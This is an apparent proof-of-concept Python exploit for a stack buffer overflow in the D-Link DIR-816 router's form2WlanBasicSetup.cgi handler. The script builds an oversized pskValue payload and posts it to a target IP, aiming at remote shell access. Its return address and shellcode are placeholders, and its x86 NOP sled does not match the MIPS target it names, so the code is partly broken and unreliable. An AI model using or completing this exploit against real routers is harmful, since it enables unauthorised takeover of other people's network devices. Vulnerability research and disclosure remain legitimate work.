CVE-2026-4183 D-Link DIR-816 goform栈溢出漏洞 (CVSS 9.8)

#!/usr/bin/env python3 """ CVE-2026-4183 PoC - D-Link DIR-816 Stack Buffer Overflow Affected: D-Link DIR-816 1.10CNB05 Component: /goform/form2WlanBasicSetup.cgi Parameter: pskValue """ import requests import sys TARGET = "http://{target_ip}/goform/form2WlanBasicSetup.cgi" def create_exploit_payload(): # Buffer size for overflow (adjust based on target) # Typical stack buffer size in embedded devices: 256-1024 bytes buffer_size = 1024 # Create overflow payload with NOP sled + shellcode + return address # Padding to reach buffer boundary padding = b'A' * buffer_size # Return address (needs to be adjusted for target) # Common approach: point to NOP sled or shellcode return_addr = b'\x42\x42\x42\x42' # Placeholder - need to find correct address # NOP sled for reliable exploitation nop_sled = b'\x90' * 100 # Simple shellcode - executes telnetd for remote access # This is a placeholder, actual shellcode depends on target architecture (MIPS typically) shellcode = b'\x00' * 50 payload = padding + return_addr + nop_sled + shellcode return payload def exploit(target_ip): print(f"[*] Target: {target_ip}") print(f"[*] Exploiting CVE-2026-4183...") # Construct malicious request payload = create_exploit_payload() # POST data with overflow in pskValue parameter data = { 'pws': 'admin', 'pskValue': payload.decode('latin-1'), # Send overflow payload 'wlanMode': 'ap', 'ssid': 'TestSSID', 'channel': '6', 'bandwidth': '20', 'submit': 'Apply' } try: print(f"[*] Sending malicious request...") response = requests.post( TARGET.format(target_ip=target_ip), data=data, timeout=10 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Exploit sent. Check if shell is available on target.") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) exploit(sys.argv[1])